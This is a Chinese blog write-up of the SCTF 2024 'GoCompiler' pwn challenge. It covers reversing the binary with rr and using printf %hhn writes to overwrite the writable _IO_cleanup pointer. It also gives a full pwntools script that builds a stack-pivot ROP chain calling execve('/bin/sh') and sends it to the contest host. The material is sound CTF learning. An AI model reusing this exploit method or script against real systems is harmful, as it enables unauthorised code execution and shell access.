sctf2024 - GoCompiler

sctf2024 - GoCompiler

RocketDev

文件属性

属性
Arch amd64
RELRO No
Canary off
NX on
PIE off
strip no
go 1.20.3

解题思路

用go写的go语言编译器,可以将go转换为汇编并用gcc编译,看调试信息写到了 github.com/klang/ugo ,但实际上无法访问,不过看项目有点类似于已经公开的“凹语言”, 可是实际测试对go的支持十分有限。

go的逆向太困难了,一些函数调用根本看不出来做了什么操作,通过看函数名和rr测试, 发现了ugo允许调用C语言的函数,但仅限于writeprintf,并且printf的格式化参数有限制, 必须包含且仅包含一个%符号。

时间无关调试工具:rr

rr是Mozilla开发的一个调试工具,可以实现 timeless debug ,也就是说, 它通过提前录制程序行为,稍后就可以回放程序,实现“逆向调试”。不过你也注意到了, 你并不是在真正调试程序,你只是在回溯程序的行为。但是借助这个特性,我们可以面对go这种难调的家伙, 通过定位确定的错误点,一步一步逆向推导,就可以猜测出程序的行为,相较静态检查多了灵活性。 这次的很多发现,包括printf的行为,都是我通过rr看出来的。

由于有了printf原语,我们可以通过%hhn来一个字节一个字节改内存。并且由于结果程序是无PIE的, 我们可以直接修改bss区的内容。

不使用%hn等是因为由于只能用1个%,用%hn写数据需要堆砌大量的无效字符, 最终会导致程序过大,因此%hhn是权衡过后的更佳选择。

接下来我们就可以利用如下原语,将payload注入到INSERT处, 反复调用printf('1' * n, addr)的方式来任意写

malicious.ugo
1
2
3
4
5
6
7
package main

func main() int {
var i int = 0
INSERT
return 0
}

任意写有了,写什么好呢?原本我的想法是打apple,但奈何apple实在是太长了, 并且程序中也没有system,于是我找了找其他的函数指针,结果发现了在exit中调用了一处指针, 原先这个地方是_IO_cleanup,但是这个地方是可写的,且没有受PTR_MANGLE加密, 可以直接劫持。看了一下调用时的寄存器状态,此时正call rbx,因此rbx刚好是这个指针的地址, 是我们可以控制的,然后就是找gadget了。

经过令人近乎绝望的查找,我最终锁定了一个gadget:mov esp, ebx; mov rbx, qword ptr [rsp]; add rsp, 0x30; ret, 由于没有PIE,因此可以做栈迁移到ebx + 0x30上!我只要将数据写到ebx + 0x30的地址上, 就可以实现rop,只要构造syscall(SYS_execve, "/bin/sh", NULL, NULL)就可以拿到shell。

ebx + 0x30的地方并不是可以任意写的,在调_IO_cleanup之前,会先运行__exit_funcs中的hook, 调用call_fini -> __preinit_array_start -> __do_global_dtor_aux -> __deregister_frame_info_bases, 在最后一个函数中会判断object+24是不是&__EH_FRAME_BEGIN__,如果不是则会继续迭代, 导致发生SIGSEGV,而object刚好在ebx + 0x30不远处,还需要绕过这个地方。

bssStatus

剩下的就是先把payload伪造好,交给容器里的gcc编译,这样由于payload长度固定,生成出来的gadget位置基本也不会变, 执行就可以获取shell了

原先的方案是声明字符串的,由于llvm的特性,声明的字符串会在程序中保留一份,因此"/bin/sh"可以借此获取, 不过大概是由于程序中有太多字符串了,因此每次调整payload,即使长度没有变化,字符串的地址也会变化。 最后选择了把"/bin/sh"直接写到了bss上固定位置。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import os
context.terminal = ['tmux','splitw','-h']
EXE = './hello'

def mkstr(val: int) -> str:
return '1' * val

def w1byte(addr: int, val: int) -> str:
return f' i = {addr:#x}\n printf("{mkstr(val)}%hhn", i)\n'

def wnbytes(n: int, addr: int, val: int) -> str:
base = ''
for i in range(n):
base += w1byte(addr + i, (val >> (i * 8)) & 0xff)
return base

def create_ugo():
with open('hello.ugo', 'r') as goin:
base = goin.read()
ugo = ''
ugo += wnbytes(4, 0x4c8288, 0x484a8e) # mov esp, ebx
ugo += wnbytes(7, 0x4c8298, u64(b'/bin/sh\0')) # /bin/sh
ugo += wnbytes(4, 0x4c82b8, 0x4020df) # pop rdi
ugo += wnbytes(8, 0x4c82c0, 0x4c8298) # "/bin/sh"
ugo += wnbytes(4, 0x4c82c8, 0x485acb) # pop rdx => 0; pop rbx <- check;
ugo += wnbytes(4, 0x4c82e0, 0x44fd47) # pop rax
ugo += wnbytes(1, 0x4c82e8, 59) # 59
ugo += wnbytes(4, 0x4c82f0, 0x401e94) # syscall
with open('malicious.ugo', 'w') as goout:
goout.write(base.replace('INSERT', ugo))

def payload(lo:int):
global sh
if lo:
sh = process(EXE)
else:
sh = remote('1.95.58.58', 2102)

creating = True
if os.path.exists('malicious.ugo'):
ch = input('malicious.ugo exists. Regenerate? [y/n]')
if ch == 'n' or ch == '':
creating = False
if creating:
info('Generate malicious.ugo.')
create_ugo()

if not lo:
with open('malicious.ugo', 'r') as mal:
src = mal.read()
sh.sendline(src.encode() + b'end')

sh.clean()
sh.interactive()
sh.close()

flag

尾声

比赛结束后,看别人的wp,都没有用到printf,都是通过write溢出打印指针,然后走栈溢出rop (给了栈溢出示例,但是我没有编译运行)

除此之外,本次exp用到的改的&_IO_cleanup,即__elf_set___libc_atexit_element__IO_cleanup__, 是可写的,却从未看到有人这么利用过,拿做过的题看了一下,从libc 2.23到2.35,虽然有这个符号, 但它位于只读段,没有利用价值...甚至在2.38之后这个符号直接被删掉了, exit固定会调用_IO_cleanup。只能说运气好,静态编译把这个符号变成可写的了。

还有一个比较神奇的特性是当程序静态链接后,tls会使用malloc分配出来,因为没有libc可挂

之后有一天我上网看看别人博客有没有更新,结果看到了原作者的博客

Ghidra的go插件能够恢复部分编译时的信息,包括源代码位置,因此可以清楚看到作者是 yhellow,还可以看到他的仓库里有Syclover的内容,肯定没错了。

看来pwn也可做信息收集啊。不过里面写的demo和题目的匹配度不是特别高

参考

  1. rr: Record and Replay Framework
  2. ugo-lab1-最小uGo程序
  • 标题: sctf2024 - GoCompiler
  • 作者: RocketDev
  • 创建于 : 2024-10-22 13:49:00
  • 更新于 : 2024-10-27 10:31:00
  • 链接: https://rocketmadev.github.io/2024/10/22/GoCompiler/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
sctf2024 - GoCompiler